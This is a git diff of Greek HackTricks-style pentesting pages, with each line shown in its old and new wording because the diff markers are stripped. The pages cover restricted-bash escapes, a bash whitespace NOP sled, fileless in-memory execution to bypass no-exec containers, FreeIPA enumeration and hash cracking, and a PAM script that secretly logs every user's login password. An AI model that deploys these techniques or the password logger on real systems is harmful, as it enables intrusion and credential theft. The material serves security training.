### Builtins
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές συναρτήσεις και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο builtins για να αποκτήσετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλα** τα **builtins**, οπότε θα πρέπει να **γνωρίζετε όλες τις επιλογές σας** για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από [**devploit**](https://twitter.com/devploit).\
Πρώτα απ' όλα ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**:
Πρώτα απ' όλα, ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**:
```bash
# Get list of builtins
declare builtins
@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
## Space-Based Bash NOP Sled ("Bashsledding")
Όταν μια ευπάθεια σας επιτρέπει να ελέγξετε εν μέρει ένα επιχείρημα που τελικά φτάνει στο `system()` ή σε άλλο shell, μπορεί να μην γνωρίζετε την ακριβή απόσταση στην οποία η εκτέλεση αρχίζει να διαβάζει το payload σας. Οι παραδοσιακοί NOP sleds (π.χ. `\x90`) **δεν** λειτουργούν στη σύνταξη του shell, αλλά το Bash θα αγνοήσει αβλαβώς τα αρχικά κενά πριν εκτελέσει μια εντολή.
Όταν μια ευπάθεια σας επιτρέπει να ελέγξετε εν μέρει ένα επιχείρημα που τελικά φτάνει στο `system()` ή σε άλλο shell, μπορεί να μην γνωρίζετε την ακριβή απόσταση στην οποία η εκτέλεση αρχίζει να διαβάζει το payload σας. Οι παραδοσιακοί NOP sleds (π.χ. `\x90`) **δεν** λειτουργούν στη σύνταξη του shell, αλλά το Bash θα αγνοήσει αβλαβώς τα αρχικά κενά πριν εκτελέσει μια εντολή.
Επομένως, μπορείτε να δημιουργήσετε ένα *NOP sled για το Bash* προσθέτοντας ένα μακρύ σύνολο κενών ή χαρακτήρων tab πριν από την πραγματική σας εντολή:
```bash
@ -333,7 +333,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)

View File

@ -11,7 +11,7 @@
## σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει επειδή η εκτέλεση ενός κοντέινερ με σύστημα αρχείων ro είναι τόσο εύκολη όσο η ρύθμιση του **`readOnlyRootFilesystem: true`** στο `securitycontext`:
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει γιατί η εκτέλεση ενός κοντέινερ με σύστημα αρχείων ro είναι τόσο εύκολη όσο η ρύθμιση του **`readOnlyRootFilesystem: true`** στο `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -26,16 +26,16 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Ωστόσο, ακόμη και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγ writable, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγ writable, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
> [!WARNING]
> Από την οπτική γωνία της κόκκινης ομάδας, αυτό καθιστά **περίπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
> Από την προοπτική μιας κόκκινης ομάδας, αυτό καθιστά **πολύπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
## Ευκολότερη παράκαμψη: Σενάρια
Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** εφόσον ο διερμηνέας είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο.
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό σας backdoor ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να εκτελέσετε.
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε την πίσω πόρτα σας ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να τρέξετε.
## Παράκαμψη Μνήμης
@ -43,12 +43,12 @@ securityContext:
### Παράκαμψη FD + exec syscall
Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**.
Αν έχετε μερικές ισχυρές μηχανές σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και b64 κωδικοποιημένο** με τις οδηγίες να **αποκωδικοποιήσετε και να αποσυμπιέσετε** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το εκτελέσετε.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και κωδικοποιημένο σε b64** με τις οδηγίες να **αποκωδικοποιήσετε και να αποσυμπιέσετε** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το τρέξετε.
> [!WARNING]
> Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως το PHP ή το Node επειδή δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο.
> Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως η PHP ή η Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο.
>
> Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε επειδή η **προστασία χωρίς εκτέλεση** θα ισχύει.
@ -72,13 +72,13 @@ ddexec.md
### MemExec
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **τρέξετε ένα διαφορετικό δυαδικό αρχείο**, δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να τρέξετε το memexec shellcode μέσω της τεχνικής DDexec και στη συνέχεια να **επικοινωνήσετε με αυτόν τον δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**.
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **τρέξετε ένα διαφορετικό δυαδικό** δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να τρέξετε το memexec shellcode μέσω της τεχνικής DDexec και στη συνέχεια να **επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά για φόρτωση και εκτέλεση**.
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε να επιτρέψει ακόμη και τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε να επιτρέψει ακόμη και τη φόρτωση δυαδικών με εξαρτήσεις.
## Distroless Bypass
@ -86,11 +86,11 @@ ddexec.md
Τα distroless containers περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία για να τρέξει μια συγκεκριμένη εφαρμογή ή υπηρεσία**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά αποκλείουν μεγαλύτερα στοιχεία όπως διαχειριστές πακέτων, shell ή συστήματα βοηθητικών προγραμμάτων.
Ο στόχος των distroless containers είναι να **μειώσουν την επιφάνεια επίθεσης των containers εξαλείφοντας περιττά στοιχεία** και ελαχιστοποιώντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
Ο στόχος των distroless containers είναι να **μειώσει την επιφάνεια επίθεσης των containers εξαλείφοντας περιττά στοιχεία** και ελαχιστοποιώντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
### Reverse Shell
Σε ένα distroless container μπορεί να **μην βρείτε καν `sh` ή `bash`** για να αποκτήσετε μια κανονική shell. Δεν θα βρείτε επίσης δυαδικά αρχεία όπως `ls`, `whoami`, `id`... όλα όσα συνήθως τρέχετε σε ένα σύστημα.
Σε ένα distroless container μπορεί να **μην βρείτε καν `sh` ή `bash`** για να αποκτήσετε μια κανονική shell. Δεν θα βρείτε επίσης δυαδικά όπως `ls`, `whoami`, `id`... όλα όσα συνήθως τρέχετε σε ένα σύστημα.
> [!WARNING]
> Επομένως, **δεν θα** μπορείτε να αποκτήσετε μια **reverse shell** ή να **καταγράψετε** το σύστημα όπως συνήθως κάνετε.
@ -98,14 +98,13 @@ ddexec.md
Ωστόσο, αν το παραβιασμένο container τρέχει για παράδειγμα μια εφαρμογή flask, τότε το python είναι εγκατεστημένο, και επομένως μπορείτε να αποκτήσετε μια **Python reverse shell**. Αν τρέχει node, μπορείτε να αποκτήσετε μια Node rev shell, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα scripting**.
> [!TIP]
> Χρησιμοποιώντας τη γλώσσα scripting, θα μπορούσατε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
> Χρησιμοποιώντας τη γλώσσα scripting θα μπορούσατε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, θα μπορούσατε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας αρχεία** και να **τα εκτελέσετε**.
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, θα μπορούσατε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας** και να τα **εκτελέσετε**.
> [!TIP]
> Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες συνήθως θα υπάρχουν, αλλά θα μπορούσατε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε **reverse shells** γλωσσών scripting και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
> Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες θα υπάρχουν συνήθως, αλλά θα μπορούσατε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε reverse shells γλωσσών scripting και να εκτελέσετε δυαδικά από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική** λύση για το Microsoft Windows **Active Directory**, κυρίως για περιβάλλοντα **Unix**. Συνδυάζει έναν πλήρη **LDAP κατάλογο** με ένα MIT **Kerberos** Κέντρο Κατανομής Κλειδιών για διαχείριση παρόμοια με το Active Directory. Χρησιμοποιώντας το σύστημα **Certificate System** του Dogtag για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει **πολλαπλούς παράγοντες** αυθεντικοποίησης, συμπεριλαμβανομένων των smartcards. Το SSSD είναι ενσωματωμένο για τις διαδικασίες αυθεντικοποίησης Unix.
Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική** λύση για το Microsoft Windows **Active Directory**, κυρίως για περιβάλλοντα **Unix**. Συνδυάζει έναν πλήρη **LDAP κατάλογο** με ένα MIT **Kerberos** Κέντρο Κατανομής Κλειδιών για διαχείριση παρόμοια με το Active Directory. Χρησιμοποιώντας το σύστημα **Certificate System** του Dogtag για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει **πολλαπλούς παράγοντες** αυθεντικοποίησης, συμπεριλαμβανομένων των smartcards. Το SSSD είναι ενσωματωμένο για διαδικασίες αυθεντικοποίησης Unix.
## Fingerprints
@ -17,7 +17,7 @@
### Binaries
Εργαλεία όπως `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, και `kvno` είναι κεντρικά για τη διαχείριση τομέων FreeIPA, χειριζόμενα τα εισιτήρια Kerberos, αλλάζοντας κωδικούς πρόσβασης και αποκτώντας εισιτήρια υπηρεσιών, μεταξύ άλλων λειτουργιών.
Εργαλεία όπως `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, και `kvno` είναι κρίσιμα για τη διαχείριση τομέων FreeIPA, την επεξεργασία εισιτηρίων Kerberos, την αλλαγή κωδικών πρόσβασης και την απόκτηση εισιτηρίων υπηρεσιών, μεταξύ άλλων λειτουργιών.
### Network
@ -29,11 +29,11 @@
### **CCACHE Ticket Files**
Τα αρχεία CCACHE, που αποθηκεύονται συνήθως σε **`/tmp`** με δικαιώματα **600**, είναι δυαδικές μορφές για την αποθήκευση διαπιστευτηρίων Kerberos, σημαντικά για την αυθεντικοποίηση χωρίς τον απλό κωδικό πρόσβασης του χρήστη λόγω της φορητότητάς τους. Η ανάλυση ενός εισιτηρίου CCACHE μπορεί να γίνει χρησιμοποιώντας την εντολή `klist`, και η επαναχρησιμοποίηση ενός έγκυρου εισιτηρίου CCACHE περιλαμβάνει την εξαγωγή του `KRB5CCNAME` στη διαδρομή του αρχείου εισιτηρίου.
Τα αρχεία CCACHE, που αποθηκεύονται συνήθως στο **`/tmp`** με δικαιώματα **600**, είναι δυαδικές μορφές για την αποθήκευση διαπιστευτηρίων Kerberos, σημαντικά για την αυθεντικοποίηση χωρίς τον απλό κωδικό πρόσβασης του χρήστη λόγω της φορητότητάς τους. Η ανάλυση ενός εισιτηρίου CCACHE μπορεί να γίνει χρησιμοποιώντας την εντολή `klist`, και η επαναχρησιμοποίηση ενός έγκυρου εισιτηρίου CCACHE περιλαμβάνει την εξαγωγή του `KRB5CCNAME` στη διαδρομή του αρχείου εισιτηρίου.
### **Unix Keyring**
Εναλλακτικά, τα εισιτήρια CCACHE μπορούν να αποθηκευτούν στο Linux keyring, προσφέροντας περισσότερη έλεγχο στη διαχείριση εισιτηρίων. Η έκταση της αποθήκευσης εισιτηρίων ποικίλλει (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), με το `klist` ικανό να αναλύει αυτές τις πληροφορίες για τον χρήστη. Ωστόσο, η επαναχρησιμοποίηση ενός εισιτηρίου CCACHE από το Unix keyring μπορεί να παρουσιάσει προκλήσεις, με εργαλεία όπως το **Tickey** διαθέσιμα για την εξαγωγή εισιτηρίων Kerberos.
Εναλλακτικά, τα εισιτήρια CCACHE μπορούν να αποθηκευτούν στο κλειδί Linux, προσφέροντας περισσότερη έλεγχο στη διαχείριση εισιτηρίων. Η έκταση της αποθήκευσης εισιτηρίων ποικίλλει (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), με το `klist` ικανό να αναλύει αυτές τις πληροφορίες για τον χρήστη. Ωστόσο, η επαναχρησιμοποίηση ενός εισιτηρίου CCACHE από το Unix keyring μπορεί να προκαλέσει προκλήσεις, με εργαλεία όπως το **Tickey** διαθέσιμα για την εξαγωγή εισιτηρίων Kerberos.
### Keytab
@ -54,9 +54,9 @@ privilege-escalation/linux-active-directory.md
### Hosts, Users, and Groups <a href="#id-4b3b" id="id-4b3b"></a>
Είναι δυνατή η δημιουργία **hosts**, **users** και **groups**. Οι υπολογιστές και οι χρήστες ταξινομούνται σε κοντέινερ που ονομάζονται “**Host Groups**” και “**User Groups**” αντίστοιχα. Αυτά είναι παρόμοια με τις **Οργανωτικές Μονάδες** (OU).
Είναι δυνατή η δημιουργία **hosts**, **users** και **groups**. Οι υπολογιστές και οι χρήστες ταξινομούνται σε κοντέινερ που ονομάζονται “**Host Groups**” και “**User Groups**” αντίστοιχα. Αυτά είναι παρόμοια με τις **Organizational Units** (OU).
Από προεπιλογή στο FreeIPA, ο LDAP διακομιστής επιτρέπει **ανώνυμες συνδέσεις**, και μια μεγάλη έκταση δεδομένων είναι αναγνωρίσιμη **χωρίς αυθεντικοποίηση**. Αυτό μπορεί να αναγνωρίσει όλα τα διαθέσιμα δεδομένα χωρίς αυθεντικοποίηση:
Από προεπιλογή στο FreeIPA, ο LDAP διακομιστής επιτρέπει **ανώνυμες συνδέσεις**, και μια μεγάλη ποσότητα δεδομένων είναι αναγνωρίσιμη **χωρίς αυθεντικοποίηση**. Αυτό μπορεί να αναγνωρίσει όλα τα διαθέσιμα δεδομένα χωρίς αυθεντικοποίηση:
```
ldapsearch -x
```
@ -88,7 +88,7 @@ ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
> [!NOTE]
> [!TIP]
> Ο χρήστης **admin** του **FreeIPA** είναι ισοδύναμος με τους **domain admins** από το **AD**.
### Hashes <a href="#id-482b" id="id-482b"></a>
@ -100,11 +100,11 @@ ipa hostgroup-show <host group> --all
Για να σπάσετε αυτούς τους κωδικούς:
Αν το freeIPA είναι ενσωματωμένο με το AD, το **ipaNTHash** είναι εύκολο να σπάσει: Πρέπει να **decode** **base64** -> να το ξανακωδικοποιήσετε ως **ASCII** hex -> το John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε γρήγορα
Αν το freeIPA είναι ενσωματωμένο με το AD, ο **ipaNTHash** είναι εύκολος να σπάσει: Πρέπει να **decode** **base64** -> να το ξανακωδικοποιήσετε ως **ASCII** hex -> το John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε γρήγορα
Αν χρησιμοποιείται παλιά έκδοση του FreeIPA, τότε χρησιμοποιείται **SSHA512**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε τον κωδικό **SSHA512** -> το John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε
Αν χρησιμοποιείται νέα έκδοση του FreeIPA, τότε χρησιμοποιείται **PBKDF2_SHA256**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε το PBKDF2_SHA256 -> το **length** του είναι 256 byte. Ο John μπορεί να δουλέψει με 256 bits (32 byte) -> το SHA-265 χρησιμοποιείται ως η ψευδο-τυχαία συνάρτηση, το μέγεθος μπλοκ είναι 32 byte -> μπορείτε να χρησιμοποιήσετε μόνο τα πρώτα 256 bit του κωδικού PBKDF2_SHA256 -> το John The Ripper ή το hashcat μπορούν να σας βοηθήσουν να το σπάσετε
Αν χρησιμοποιείται νέα έκδοση του FreeIPA, τότε χρησιμοποιείται **PBKDF2_SHA256**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε το PBKDF2_SHA256 -> το **length** του είναι 256 byte. Ο John μπορεί να δουλέψει με 256 bits (32 byte) -> το SHA-265 χρησιμοποιείται ως η ψευδο-τυχαία συνάρτηση, το μέγεθος μπλοκ είναι 32 byte -> μπορείτε να χρησιμοποιήσετε μόνο τα πρώτα 256 bits του κωδικού PBKDF2_SHA256 -> το John The Ripper ή το hashcat μπορούν να σας βοηθήσουν να το σπάσετε
<figure><img src="../images/image (655).png" alt=""><figcaption></figcaption></figure>
@ -136,15 +136,15 @@ ipa sudorule-show <sudorule> --all
```
### Έλεγχος Πρόσβασης Βασισμένος σε Ρόλους
Ένας **ρόλος** αποτελείται από διάφορα **προνόμια**, το καθένα από τα οποία περιλαμβάνει μια συλλογή **αδειών**. Αυτοί οι ρόλοι μπορούν να ανατεθούν σε Χρήστες, Ομάδες Χρηστών, **Hosts**, Ομάδες Hosts και Υπηρεσίες. Για παράδειγμα, εξετάστε τον προεπιλεγμένο ρόλο “Διαχειριστής Χρηστών” στο FreeIPA για να παραδείξετε αυτή τη δομή.
Ένας **ρόλος** αποτελείται από διάφορα **προνόμια**, το καθένα από τα οποία περιλαμβάνει μια συλλογή **δικαιωμάτων**. Αυτοί οι ρόλοι μπορούν να ανατεθούν σε Χρήστες, Ομάδες Χρηστών, **Hosts**, Ομάδες Hosts και Υπηρεσίες. Για παράδειγμα, εξετάστε τον προεπιλεγμένο ρόλο “User Administrator” στο FreeIPA για να παραδείξετε αυτή τη δομή.
Ο ρόλος `Διαχειριστής Χρηστών` έχει αυτά τα προνόμια:
Ο ρόλος `User Administrator` έχει αυτά τα προνόμια:
- **Διαχειριστές Χρηστών**
- **Διαχειριστές Ομάδων**
- **Διαχειριστές Χρηστών Σταδίου**
- **User Administrators**
- **Group Administrators**
- **Stage User Administrators**
Με τις παρακάτω εντολές είναι δυνατή η απαρίθμηση των ρόλων, προνομίων και αδειών:
Με τις παρακάτω εντολές είναι δυνατή η απαρίθμηση των ρόλων, προνομίων και δικαιωμάτων:
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -158,7 +158,7 @@ ipa permission-show <permission> --all
```
### Παράδειγμα Σεναρίου Επίθεσης
Στο [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) μπορείτε να βρείτε ένα απλό παράδειγμα για το πώς να εκμεταλλευτείτε ορισμένα δικαιώματα για να συμβιβάσετε το domain.
Στο [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) μπορείτε να βρείτε ένα απλό παράδειγμα για το πώς να εκμεταλλευτείτε κάποιες άδειες για να συμβιβάσετε το domain.
### Linikatz/LinikatzV2

View File

@ -4,7 +4,7 @@
## Sniffing Logon Passwords with PAM
Ας ρυθμίσουμε ένα module PAM για να καταγράφει κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε:
Ας ρυθμίσουμε ένα module PAM για να καταγράφουμε κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε:
{{#ref}}
pam-pluggable-authentication-modules.md
@ -18,8 +18,8 @@ pam-pluggable-authentication-modules.md
**Καταγραφή Διαπιστευτηρίων:**
- Ένα script bash με όνομα `toomanysecrets.sh` έχει δημιουργηθεί για να καταγράφει τις προσπάθειες σύνδεσης, καταγράφοντας την ημερομηνία, το όνομα χρήστη (`$PAM_USER`), τον κωδικό πρόσβασης (μέσω stdin) και τη διεύθυνση IP του απομακρυσμένου υπολογιστή (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`.
- Το script καθίσταται εκτελέσιμο και ενσωματώνεται στη ρύθμιση PAM (`common-auth`) χρησιμοποιώντας το module `pam_exec.so` με επιλογές για ήσυχη εκτέλεση και έκθεση του διαπιστευτηρίου αυθεντικοποίησης στο script.
- Η προσέγγιση δείχνει πώς ένας παραβιασμένος Linux host μπορεί να εκμεταλλευτεί για να καταγράψει διαπιστευτήρια διακριτικά.
- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη ρύθμιση PAM (`common-auth`) χρησιμοποιώντας το module `pam_exec.so` με επιλογές για ήσυχη εκτέλεση και έκθεση του διαπιστευτηρίου αυθεντικοποίησης στο script.
- Η προσέγγιση δείχνει πώς ένας συμβιβασμένος Linux host μπορεί να εκμεταλλευτεί για να καταγράψει διαπιστευτήρια διακριτικά.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -33,21 +33,21 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
**Για περισσότερες λεπτομέρειες, ελέγξτε την [αρχική ανάρτηση](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Αυτό είναι απλώς μια περίληψη:
Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται κάτω από το Linux για την αυθεντικοποίηση χρηστών. Λειτουργεί σε τρία κύρια concepts: **όνομα χρήστη**, **κωδικός πρόσβασης** και **υπηρεσία**. Τα αρχεία ρύθμισης παραμέτρων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου οι κοινές βιβλιοθήκες διαχειρίζονται την αυθεντικοποίηση.
Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται κάτω από το Linux για την αυθεντικοποίηση χρηστών. Λειτουργεί σε τρεις κύριες έννοιες: **όνομα χρήστη**, **κωδικός πρόσβασης** και **υπηρεσία**. Τα αρχεία ρύθμισης παραμέτρων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου οι κοινές βιβλιοθήκες διαχειρίζονται την αυθεντικοποίηση.
